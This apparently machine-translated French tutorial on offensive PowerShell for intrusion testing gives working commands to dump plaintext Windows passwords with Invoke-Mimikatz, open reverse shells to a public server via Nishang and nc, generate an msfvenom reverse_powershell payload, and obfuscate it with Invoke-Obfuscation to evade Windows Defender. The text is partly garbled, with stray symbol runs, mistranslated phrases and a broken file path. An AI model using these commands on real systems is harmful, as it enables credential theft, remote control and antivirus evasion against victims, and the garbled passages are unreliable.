Initialement PowerShell, comprenons d'abord le concept : PowerShell peut être considéré comme une version améliorée de cmd (bat scripting language), qui est un langage de script sur la plate-forme Windows. Il est orienté objet et étroitement lié à .Net FrameWork. Il peut également être considéré comme le shell bash sous Windows. Windows PowerShell est un environnement de shell et de script de ligne de commande qui permet aux utilisateurs de ligne de commande et aux scripteurs de tirer parti de la puissance du .NET Framework. Il introduit de nombreux nouveaux concepts utiles qui élargissent davantage les connaissances que vous acquérez et les scripts que vous créez dans les environnements d'invite de commande Windows et d'hôte Windows. Le code s'exécute en mémoire et ne touche pas le disque. De nombreux produits de sécurité ne peuvent pas détecter les activités de PowerShell. cmd.exe est généralement bloqué, mais pas PowerShell. En fait, nous devons contourner certains logiciels de protection pendant le processus de test d'intrusion. En plus de contourner les scripts ou d'autres outils, l'outil PoweShell est également un bon choix. Par exemple, nous utilisons le mot de passe pour capturer le mimikatz magique sur l'hôte cible. Cet outil magique écrit par un expert français est plus couramment utilisé par tout le monde. Le plus génial est que vous pouvez obtenir directement le mot de passe en texte clair du Windows actif. compte de lsass.exe. Mais si vous ne faites pas du bon travail pour éviter de tuer, vous passerez directement par un certain seau familial sans meurtre. Grâce à Powershell, un attaquant peut exécuter des commandes sans toucher le disque. Voici quelques outils couramment utilisés :
Nishang est un outil spécial pour les tests d'intrusion basé sur PowerShell. Il intègre des scripts et diverses charges utiles, telles que la saisie de mots de passe, l'analyse de ports, l'élévation de privilèges, etc. Cet outil est fréquemment utilisé par les novices dans les tests d’intrusion quotidiens. Nous devons d'abord télécharger cet outil. L'adresse de téléchargement est : https://github.com/samratashok/nishang Après le téléchargement, nous pouvons voir ce que incluent les outils suivants
Puisque nous pouvons capturer la valeur de hachage, nous pouvons également capturer le mot de passe en texte brut. Examinons d'abord le script pour capturer le mot de passe. Nous pouvons voir que l'outil Mimikatz est également utilisé, mais il est simplement chargé dans le script Powershell.
Nous pouvons utiliser la commande suivante pour obtenir le mot de passe en texte clair :
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" Essayez de capturer directement le mot de passe en texte clair de l'utilisateur actuel du système. (La commande la plus couramment utilisée)
Lors du test d'intrusion, lorsque nous faisions une redirection de port, nous avons rencontré une série de seaux familiaux tuants, d'agents nclcxsockes, etc. . de temps en temps, il était tué et retranché. Ensuite, à ce moment-là, nous pouvons utiliser le script de redirection de port dans nishang. En plus d'introduire la redirection de port intégrée, nous expérimentons également ici la redirection de port avec MSF, qui nécessitent toutes deux un serveur de réseau public.
1. Redirection de port TCP (connexion inversée)
Exécutez la commande d'écoute sur le serveur du réseau public : nc -lvp 5555
L'hôte cible exécute la commande de redirection de port : Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx .115 - Port 5555
De cette façon, après avoir exécuté les commandes sur l'hôte cible et le réseau public respectivement, le serveur du réseau public lancera un shell, afin que nous puissions exécuter les commandes du serveur intranet.
2. Redirection de port UDP (connexion inversée)
Exécutez la commande d'écoute sur le serveur du réseau public : nc -lup 6666
L'hôte cible exécute la commande de redirection de port : Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -Port 6666
En plus des connexions inversées, il existe également des connexions directes. J'utilise souvent des connexions inverses dans les tests d'intrusion. Si vous êtes intéressé par les connexions directes, vous pouvez le faire. . D'accord, maintenant nous utilisons PowerShell et MSF pour la redirection de port. Tout d'abord, nous utilisons la commande pour vérifier s'il existe un module PowerShell dans MSF :
##msfvenom -l payloads |grep 'reverse_powershell //Requête de l'emplacement du module PowerShell. .
Nous utilisons MSF pour générer une commande permettant de générer un port de rebond :
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //Générer la charge utile, tapez est Powershell, la section marquée en rouge est la commande qui doit être exécutée sur l'hôte cible.
L'étape suivante consiste à exécuter la commande PowerShell que nous venons de générer sur l'hôte cible et à écouter le port 9999 sur le serveur public. De cette façon, nous pouvons réussir à renvoyer le shell de l’hôte cible vers le serveur du réseau public.
Nous réfléchirons également à la manière dont nous pouvons utiliser l'obscurcissement pour contourner Windows Defender sur l'hôte cible, car la charge utile ordinaire que nous générons sera vérifiée par Windows Defender, nous devons donc contourner ce mécanisme de vérification. Prenons la charge utile ci-dessus comme exemple pour la masquer afin de contourner Windows Defender. Parfois, nous exécutons la charge utile ordinaire que nous générons directement sur l'hôte cible, et elle peut être directement interceptée par Windows Defender. L'outil d'obfuscation est sans aucun doute Invoke-Obfuscation fourni par Daniel Bohannon. La page Github du projet peut être trouvée.
Tout d'abord, nous démarrons l'outil Invoke-Obfuscation :
Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;
Invoke-Obfuscation //Démarrez l'outil Invoke-Obfuscation ;
Nous allons maintenant obscurcir la charge utile de redirection de port que nous venons de générer. Examinons d'abord les paramètres des différentes méthodes de traitement d'obscurcissement :
.Quelles parties de la charge utile doivent être obscurcies, nous devons préciser à l'avance, ce qui peut être fait via la commande suivante :
Définir le bloc de script 'payload' ;
#🎜🎜 ##🎜 🎜#Nous choisissons d'obscurcir l'intégralité de la commande sous forme de chaîne (le choix spécifique est basé sur l'environnement de test d'intrusion spécifique) :
# 🎜🎜##🎜🎜 #
Exécutez ce script sur l'hôte cible. Le serveur du réseau public écoute le port 9999 et peut également rebondir avec succès le shell de l'hôte intranet : # 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 # # PowerShell et CobalTstrike outils créent différentes étincelles # 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 #Cobalt Strike est un outil de test d'intrusion de framework GUI basé sur Metasploit. Il intègre la redirection de port, l'analyse de services, le débordement automatisé, la surveillance des ports multimodes, la génération de chevaux de Troie exe et PowerShell, etc. Cet outil est également un outil puissant pour la pénétration de l'intranet. Nous parlons simplement de quel type d'étincelles PowerShell et Cobalt Strike peuvent toucher ?
#🎜🎜 #
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!